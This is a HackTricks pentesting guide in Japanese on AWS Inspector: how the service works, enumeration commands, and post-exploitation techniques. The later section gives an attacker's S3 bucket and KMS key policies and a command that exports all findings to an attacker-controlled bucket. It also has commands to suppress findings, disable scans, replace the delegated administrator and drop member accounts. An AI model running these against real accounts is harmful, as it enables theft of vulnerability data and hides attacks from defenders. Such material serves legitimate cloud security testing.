AWS - Inspector Enum

AWS - Inspector Enum

HackTricksのサポート

Inspector

Amazon Inspectorは、AWS環境のセキュリティを強化するために設計された高度で自動化された脆弱性管理サービスです。このサービスは、Amazon EC2インスタンス、Amazon ECRのコンテナイメージ、Amazon ECS、およびAWS Lambda関数を継続的にスキャンし、脆弱性や意図しないネットワーク露出を検出します。Amazon Inspectorは、堅牢な脆弱性インテリジェンスデータベースを活用して、深刻度レベルや是正推奨事項を含む詳細な調査結果を提供し、組織がセキュリティリスクを予防的に特定し対処するのに役立ちます。この包括的なアプローチにより、AWSサービス全般で強固なセキュリティポジションが確保され、コンプライアンスとリスク管理が支援されます。

主要要素

調査結果

Amazon Inspectorの調査結果は、EC2インスタンス、ECRリポジトリ、またはLambda関数のスキャン中に発見された脆弱性や露出に関する詳細なレポートです。状態に基づいて、調査結果は次のようにカテゴリ分けされます:

  • アクティブ: 是正されていない調査結果。

  • クローズド: 是正された調査結果。

  • 抑制: 1つ以上の抑制ルールによりこの状態にマークされた調査結果。

調査結果は次の3つのタイプにも分類されます:

  • パッケージ: これらの調査結果は、リソースにインストールされたソフトウェアパッケージの脆弱性に関連します。例には、古いライブラリや既知のセキュリティ問題を持つ依存関係が含まれます。

  • コード: このカテゴリには、AWSリソースで実行されているアプリケーションのコードに見つかった脆弱性が含まれます。コーディングエラーやセキュリティ侵害につながる可能性のある安全でないプラクティスなどが一般的な問題です。

  • ネットワーク: ネットワークの調査結果は、攻撃者によって悪用される可能性のあるネットワーク構成の露出を特定します。これには、オープンポート、安全でないネットワークプロトコル、および誤ったセキュリティグループが含まれます。

フィルタと抑制ルール

Amazon Inspectorのフィルタと抑制ルールは、調査結果を管理し優先順位付けするのに役立ちます。フィルタを使用すると、深刻度やリソースタイプなどの特定の基準に基づいて調査結果を絞り込むことができます。抑制ルールを使用すると、低リスクと見なされる特定の調査結果を抑制し、すでに緩和されているか、他の重要な理由によりセキュリティレポートが過負荷になるのを防ぎ、より重要な問題に焦点を当てることができます。

ソフトウェア資産明細書(SBOM)

Amazon Inspectorのソフトウェア資産明細書(SBOM)は、ライブラリや依存関係を含むソフトウェアパッケージ内のすべてのコンポーネントを詳細に示すエクスポータブルな階層構造のインベントリリストです。SBOMはソフトウェア供給チェーンに透明性を提供し、オープンソースやサードパーティのソフトウェアコンポーネントに関連するリスクをよりよく特定し軽減するのに役立ちます。これらは、オープンソースおよびサードパーティのソフトウェアコンポーネントに関連するリスクを特定し軽減するのに不可欠です。

主要機能

調査結果のエクスポート

Amazon Inspectorは、Amazon S3バケット、Amazon EventBridge、およびAWS Security Hubに調査結果をエクスポートする機能を提供し、特定の日時に識別された脆弱性や露出の詳細なレポートを生成してさらなる分析や共有を可能にします。この機能は、CSVやJSONなどのさまざまな出力形式をサポートしており、他のツールやシステムとの統合が容易になります。エクスポート機能により、レポートに含めるデータをカスタマイズすることができ、深刻度、リソースタイプ、または日付範囲などの特定の基準に基づいて調査結果をフィルタリングし、現在のAWSリージョン内のアクティブ状態のすべての調査結果をデフォルトで含めることができます。

調査結果をエクスポートする際には、データをエクスポートする際にデータを暗号化するためにKey Management Service(KMS)キーが必要です。KMSキーにより、エクスポートされた調査結果が未承認のアクセスから保護され、機密性の高い脆弱性情報に対する追加のセキュリティレイヤーが提供されます。

Amazon EC2インスタンスのスキャン

Amazon Inspectorは、Amazon EC2インスタンスの脆弱性やセキュリティ問題を検出するための強力なスキャン機能を提供しています。Inspectorは、EC2インスタンスから抽出されたメタデータをセキュリティアドバイザリからのルールと比較してパッケージの脆弱性やネットワーク到達性の問題を生成します。これらのスキャンは、アカウントのスキャンモード設定構成に応じて、エージェントベースまたはエージェントレスの方法で実行できます。

  • エージェントベース: AWS Systems Manager(SSM)エージェントを使用して詳細なスキャンを実行します。この方法により、インスタンスから直接包括的なデータ収集と分析が可能です。

  • エージェントレス: インスタンスにエージェントをインストールする必要がない軽量な代替手段を提供し、EC2インスタンスの各ボリュームのEBSスナップショットを作成し、脆弱性を検出してから削除します。スキャンには既存のAWSインフラストラクチャが利用されます。

スキャンモードは、EC2スキャンを実行するために使用される方法を決定します:

  • エージェントベース: EC2インスタンスにSSMエージェントをインストールして深い検査を実行します。

  • ハイブリッドスキャン: カバレッジを最大化しパフォーマンスへの影響を最小限に抑えるために、エージェントベースとエージェントレスの両方を組み合わせます。SSMエージェントがインストールされているEC2インスタンスでは、Inspectorはエージェントベースのスキャンを実行し、SSMエージェントがない場合はエージェントレスのスキャンを実行します。

もう1つの重要な機能は、EC2 Linuxインスタンスの深い検査です。この機能は、EC2 Linuxインスタンスのソフトウェアと構成の徹底的な分析を提供し、オペレーティングシステムの脆弱性、アプリケーションの脆弱性、および誤構成を含む詳細な脆弱性評価を提供します。これは、カスタムパスとそのサブディレクトリの検査を通じて達成されます。デフォルトでは、Amazon Inspectorは以下をスキャンしますが、各メンバーアカウントはさらに最大5つのカスタムパスを定義し、各委任管理者は最大10個まで定義できます:

  • /usr/lib

  • /usr/lib64

  • /usr/local/lib

  • /usr/local/lib64

Amazon ECRコンテナイメージのスキャン

Amazon Inspectorは、Amazon Elastic Container Registry(ECR)コンテナイメージの脆弱性が効率的に検出および管理されるようにするための強力なスキャン機能を提供します。

  • 基本スキャン: これは、オープンソースのClairプロジェクトからの標準セットのルールを使用して、コンテナイメージ内の既知のOSパッケージの脆弱性を特定する迅速で軽量なスキャンです。このスキャン構成では、リポジトリはプッシュ時にスキャンされるか、手動スキャンが実行されます。

  • 強化スキャン: このオプションは、プッシュスキャンに加えて継続的スキャン機能を追加します。強化スキャンは、各コンテナイメージのレイヤーを詳細に調査して、OSパッケージとプログラミング言語パッケージの脆弱性をより高い精度で特定します。ベースイメージと追加のレイヤーの両方を分析し、潜在的なセキュリティ問題の包括的なビューを提供します。

Amazon Lambda関数のスキャン

Amazon Inspectorには、AWS Lambda関数とそのレイヤーの包括的なスキャン機能が含まれており、サーバーレスアプリケーションのセキュリティと整合性を確保します。InspectorはLambda関数に対して2種類のスキャンを提供しています:

  • Lambda標準スキャン: このデフォルト機能は、Lambda関数とレイヤーに追加されたアプリケーションパッケージの依存関係のソフトウェア脆弱性を特定します。たとえば、関数が既知の脆弱性を持つpython-jwtのバージョンを使用している場合、調査結果が生成されます。

  • Lambdaコードスキャン: カスタムアプリケーションコードをセキュリティ問題に対して分析し、インジェクションの欠陥、データ漏洩、弱い暗号化、暗号化の不足などの脆弱性を検出します。ハードコードされた資格情報など、検出された脆弱性を示すコードスニペットをキャプチャします。調査結果には、問題の修正に関する詳細な是正提案とコードスニペットが含まれます。

Center for Internet Security (CIS)スキャン

Amazon Inspectorには、Center for Internet Security(CIS)のベストプラクティス推奨事項に対してAmazon EC2インスタンスのオペレーティングシステムをベンチマークするCISスキャンが含まれています。これらのスキャンにより、構成が業界標準のセキュリティベースラインに準拠していることが確認されます。

  • 構成:CISスキャンは、システム構成が特定のCISベンチマークの推奨事項を満たしているかどうかを評価し、各チェックがCISチェックIDとタイトルにリンクしています。

  • 実行:スキャンは、インスタンスのタグと定義されたスケジュールに基づいて実行またはスケジュールされます。

  • 結果:スキャン後の結果には、各チェックが合格、スキップ、または失敗したかが示され、各インスタンスのセキュリティポジションに関する洞察が提供されます。

列挙

# Administrator and member accounts #

## Retrieve information about the AWS Inpsector delegated administrator for your organization (ReadOnlyAccess policy is enough for this)
aws inspector2 get-delegated-admin-account

## List the members who are associated with the AWS Inspector administrator account (ReadOnlyAccess policy is enough for this)
aws inspector2 list-members [--only-associated | --no-only-associated]
## Retrieve information about a member account (ReadOnlyAccess policy is enough for this)
aws inspector2 get-member --account-id <value>
## Retrieve the status of AWS accounts within your environment (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-account-status [--account-ids <value>]
## Retrieve the free trial status for the specified accounts (ReadOnlyAccess policy is enough for this)
aws inspector2 batch-get-free-trial-info --account-ids <value>
## Retrieve the EC2 Deep Inspection status for the member accounts (Requires to be the delegated administrator)
aws inspector2 batch-get-member-ec2-deep-inspection-status [--account-ids <value>]

## List an account's permissions associated with AWS Inspector
aws inspector2 list-account-permissions

# Findings #

## List a subset of information of the findings for your envionment (ReadOnlyAccess policy is enough for this)
aws inspector2 list-findings
## Retrieve vulnerability intelligence details for the specified findings
aws inspector2 batch-get-finding-details --finding-arns <value>
## List statistical and aggregated finding data (ReadOnlyAccess policy is enough for this)
aws inspector2 list-finding-aggregations --aggregation-type <FINDING_TYPE | PACKAGE | TITLE | REPOSITORY | AMI | AWS_EC2_INSTANCE | AWS_ECR_CONTAINER | IMAGE_LAYER\
| ACCOUNT AWS_LAMBDA_FUNCTION | LAMBDA_LAYER> [--account-ids <value>]
## Retrieve code snippet information about one or more specified code vulnerability findings
aws inspector2 batch-get-code-snippet --finding-arns <value>
## Retrieve the status for the specified findings report (ReadOnlyAccess policy is enough for this)
aws inspector2 get-findings-report-status --report-id <value>

# CIS #

## List CIS scan configurations (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scan-configurations
## List the completed CIS scans (ReadOnlyAccess policy is enough for this)
aws inspector2 list-cis-scans
## Retrieve a report from a completed CIS scan
aws inspector2 get-cis-scan-report --scan-arn <value> [--target-accounts <value>]
## Retrieve details about the specific CIS scan over the specified resource
aws inspector2 get-cis-scan-result-details --account-id <value> --scan-arn <value> --target-resource-id <value>
## List CIS scan results broken down by check
aws inspector2 list-cis-scan-results-aggregated-by-checks --scan-arn <value>
## List CIS scan results broken down by target resource
aws inspector2 list-cis-scan-results-aggregated-by-target-resource --scan-arn <value>

# Configuration #

## Describe AWS Inspector settings for AWS Organization (ReadOnlyAccess policy is enough for this)
aws inspector2 describe-organization-configuration
## Retrieve the configuration settings about EC2 scan and ECR re-scan
aws inspector2 get-configuration
## Retrieve EC2 Deep Inspection configuration associated with your account
aws inspector2 get-ec2-deep-inspection-configuration

# Miscellaneous #

## Retrieve the details of a Software Bill of Materials (SBOM) report
aws inspector2 get-sbom-export --report-id <value>

## Retrieve the coverage details for the specified vulnerabilities
aws inspector2 search-vulnerabilities --filter-criteria <vulnerabilityIds=id1,id2..>

## Retrieve the tags attached to the specified resource
aws inspector2 list-tags-for-resource --resource-arn <value>

## Retrieve the AWS KMS key used to encrypt the specified code snippets
aws inspector2 get-encryption-key --resource-type <AWS_EC2_INSTANCE | AWS_ECR_CONTAINER_IMAGE | AWS_ECR_REPOSITORY | AWS_LAMBDA_FUNCTION> --scan-type <NETWORK | PACKAGE | CODE>

## List the filters associated to your AWS account
aws inspector2 list-filters

## List the types of statistics AWS Inspector can generate (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage
## Retrieve statistical data and about the resources AWS Inspector monitors (ReadOnlyAccess policy is enough for this)
aws inspector2 list-coverage-statistics

## List the aggregated usage total over the last 30 days
aws inspector2 list-usage-totals [--account-ids <value>]

### INSPECTOR CLASSIC ###

## Assessments info, there is a "describe" action for each one to get more info
aws inspector list-assessment-runs
aws inspector list-assessment-targets
aws inspector list-assessment-templates
aws inspector list-event-subscriptions

## Get findings
aws inspector list-findings

## Get exclusions
aws inspector list-exclusions --assessment-run-arn <arn>

## Rule packages
aws inspector list-rules-packages

ポストエクスプロイテーション

攻撃者の視点から、このサービスは攻撃者が他のインスタンス/コンテナを侵害するのに役立つ脆弱性やネットワーク露出を見つけるのに役立つかもしれません。

ただし、攻撃者はこのサービスを妨害して、被害者が脆弱性(すべてまたは特定のもの)を見ることができなくなるようにすることにも興味を持つかもしれません。

inspector2:CreateFindingsReport, inspector2:CreateSBOMReport

攻撃者は脆弱性やソフトウェアビルドオブマテリアル(SBOM)の詳細なレポートを生成し、AWS環境からそれらを持ち出すことができます。この情報は特定の弱点、古いソフトウェア、または安全でない依存関係を特定し、標的型攻撃を可能にするために悪用される可能性があります。

# Findings report
aws inspector2 create-findings-report --report-format <CSV | JSON> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--filter-criteria <value>]
# SBOM report
aws inspector2 create-sbom-report --report-format <CYCLONEDX_1_4 | SPDX_2_3> --s3-destination <bucketName=string,keyPrefix=string,kmsKeyArn=string> [--resource-filter-criteria <value>]

以下の例は、Amazon InspectorからすべてのActiveな検出結果を攻撃者が制御するAmazon S3バケットに攻撃者が制御するAmazon KMSキーで外部流出させる方法を示しています:

  1. Amazon S3バケットを作成し、そのバケットにポリシーを添付して、被害者Amazon Inspectorからアクセス可能にします:

{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "allow-inspector",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"s3:PutObject",
"s3:PutObjectAcl",
"s3:AbortMultipartUpload"
],
"Resource": "arn:aws:s3:::inspector-findings/*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
},
"ArnLike": {
"aws:SourceArn": "arn:aws:inspector2:us-east-1:<victim-account-id>:report/*"
}
}
}
]
}
  1. Amazon KMSキーを作成し、被害者のAmazon Inspectorで使用できるようにポリシーを添付します:

{
"Version": "2012-10-17",
"Id": "key-policy",
"Statement": [
{
...
},
{
"Sid": "Allow victim Amazon Inspector to use the key",
"Effect": "Allow",
"Principal": {
"Service": "inspector2.amazonaws.com"
},
"Action": [
"kms:Encrypt",
"kms:Decrypt",
"kms:ReEncrypt*",
"kms:GenerateDataKey*",
"kms:DescribeKey"
],
"Resource": "*",
"Condition": {
"StringEquals": {
"aws:SourceAccount": "<victim-account-id>"
}
}
}
]
}
  1. 次のコマンドを実行して、それを外部に持ち出す調査結果レポートを作成します:

aws --region us-east-1 inspector2 create-findings-report --report-format CSV --s3-destination bucketName=<attacker-bucket-name>,keyPrefix=exfiltration_,kmsKeyArn=arn:aws:kms:us-east-1:123456789012:key/1a2b3c4d-1a2b-1a2b-1a2b-1a2b3c4d5e6f
  • 潜在的影響: 詳細な脆弱性およびソフトウェアレポートの生成と持ち出し、特定の脆弱性やセキュリティ上の弱点に対する洞察を得る。

inspector2:CancelFindingsReport, inspector2:CancelSbomExport

攻撃者は指定された調査レポートやSBOMレポートの生成をキャンセルすることができ、セキュリティチームが脆弱性やソフトウェアの資料明細(SBOMs)に関するタイムリーな情報を受け取ることを妨げ、セキュリティ問題の検出と修復を遅らせる可能性があります。

# Cancel findings report generation
aws inspector2 cancel-findings-report --report-id <value>
# Cancel SBOM report generatiom
aws inspector2 cancel-sbom-export --report-id <value>
  • 潜在的影響: セキュリティモニタリングの妨げとセキュリティ問題のタイムリーな検出と解決の阻害。

inspector2:CreateFilter, inspector2:UpdateFilter, inspector2:DeleteFilter

これらの権限を持つ攻撃者は、報告されるまたは抑制される脆弱性やセキュリティ問題を決定するフィルタリングルールを操作できます(action がSUPPRESSに設定されている場合、抑制ルールが作成されます)。これにより、重要な脆弱性をセキュリティ管理者から隠すことができ、これらの弱点を検出せずに攻撃することが容易になります。重要なフィルタを変更または削除することで、攻撃者は無関係な検出結果でシステムを氾濫させることにより、効果的なセキュリティモニタリングと対応を妨げることもできます。

# Create
aws inspector2 create-filter --action <NONE | SUPPRESS> --filter-criteria <value> --name <value> [--reason <value>]
# Update
aws inspector2 update-filter --filter-arn <value> [--action <NONE | SUPPRESS>] [--filter-criteria <value>] [--reason <value>]
# Delete
aws inspector2 delete-filter --arn <value>
  • 潜在的影響: 重要な脆弱性の隠蔽または抑制、またはシステムに無関係な調査結果の氾濫。

inspector2:DisableDelegatedAdminAccount, (inspector2:EnableDelegatedAdminAccount & organizations:ListDelegatedAdministrators & organizations:EnableAWSServiceAccess & iam:CreateServiceLinkedRole)

攻撃者はセキュリティ管理構造を大幅に妨害できます。

  • 委任された管理者アカウントを無効にすることで、攻撃者はセキュリティチームがAmazon Inspectorの設定やレポートにアクセスするのを防ぐことができます。

  • 認可されていない管理者アカウントを有効にすると、攻撃者はセキュリティ設定を制御し、スキャンを無効にしたり、悪意のある活動を隠すための設定を変更する可能性があります。

被害者と同じ組織にいる認可されていないアカウントが、委任された管理者になるためには必要です。

認可されていないアカウントが委任された管理者になるためには、正当な委任された管理者が無効にされ、認可されていないアカウントが委任された管理者として有効にされる前に、正当な管理者が組織から委任された管理者として登録解除される必要があります。これは次のコマンドで行うことができます(organizations:DeregisterDelegatedAdministrator 権限が必要です): aws organizations deregister-delegated-administrator --account-id <legit-account-id> --service-principal [inspector2.amazonaws.com](http://inspector2.amazonaws.com/)

# Disable
aws inspector2 disable-delegated-admin-account --delegated-admin-account-id <value>
# Enable
aws inspector2 enable-delegated-admin-account --delegated-admin-account-id <value>
  • 潜在的影響: セキュリティ管理の混乱。

inspector2:AssociateMember, inspector2:DisassociateMember

攻撃者は、Amazon Inspector組織内のメンバーアカウントの関連付けを操作する可能性があります。許可されていないアカウントを関連付けたり、正当なアカウントを関連付け解除することで、攻撃者はどのアカウントがセキュリティスキャンやレポートに含まれるかを制御できます。これにより、重要なアカウントがセキュリティモニタリングから除外され、攻撃者がそれらのアカウントの脆弱性を検出されずに悪用する可能性があります。

このアクションは、委任された管理者によって実行する必要があります。

# Associate
aws inspector2 associate-member --account-id <value>
# Disassociate
aws inspector2 disassociate-member --account-id <value>
  • 潜在的影響: キーアカウントがセキュリティスキャンから除外され、脆弱性が検出されずに悪用される可能性がある。

inspector2:Disable, (inspector2:Enable & iam:CreateServiceLinkedRole)

inspector2:Disable 権限を持つ攻撃者は、特定のリソースタイプ(EC2、ECR、Lambda、Lambdaコード)に対するセキュリティスキャンを無効にすることができ、指定されたアカウントでAWS環境の一部が監視されずに攻撃に対して脆弱になります。さらに、inspector2:Enable および iam:CreateServiceLinkedRole 権限を持つ攻撃者は、疑わしい構成が検出されるのを回避するために、スキャンを選択的に再有効化することができます。

このアクションは、委任された管理者によって実行する必要があります。

# Disable
aws inspector2 disable --account-ids <value> [--resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}>]
# Enable
aws inspector2 enable --resource-types <{EC2, ECR, LAMBDA, LAMBDA_CODE}> [--account-ids <value>]
  • 潜在的影響: セキュリティモニタリングにおける盲点の作成。

inspector2:UpdateOrganizationConfiguration

この権限を持つ攻撃者は、Amazon Inspector組織の構成を更新し、新しいメンバーアカウントに有効になっているデフォルトのスキャン機能に影響を与えることができます。

このアクションは、委任された管理者によって実行する必要があります。

aws inspector2 update-organization-configuration --auto-enable <ec2=true|false,ecr=true|false,lambda=true|false,lambdaCode=true|false>
  • 潜在的影響: 組織のセキュリティスキャンポリシーと構成を変更する。

inspector2:TagResource, inspector2:UntagResource

攻撃者は、AWS Inspector リソース上のタグを操作する可能性があります。これらのタグは、セキュリティアセスメントを整理、追跡、自動化するために重要です。タグを変更または削除することで、攻撃者はセキュリティスキャンから脆弱性を隠す、コンプライアンスレポートを妨害する、自動修復プロセスに干渉するなど、未チェックのセキュリティ問題やシステムの整合性の危機を引き起こす可能性があります。

aws inspector2 tag-resource --resource-arn <value> --tags <value>
aws inspector2 untag-resource --resource-arn <value> --tag-keys <value>
  • 潜在的影響: 脆弱性の隠蔽、コンプライアンスレポートの中断、セキュリティ自動化の中断、コスト割り当ての中断。

参照

HackTricksのサポート

Last updated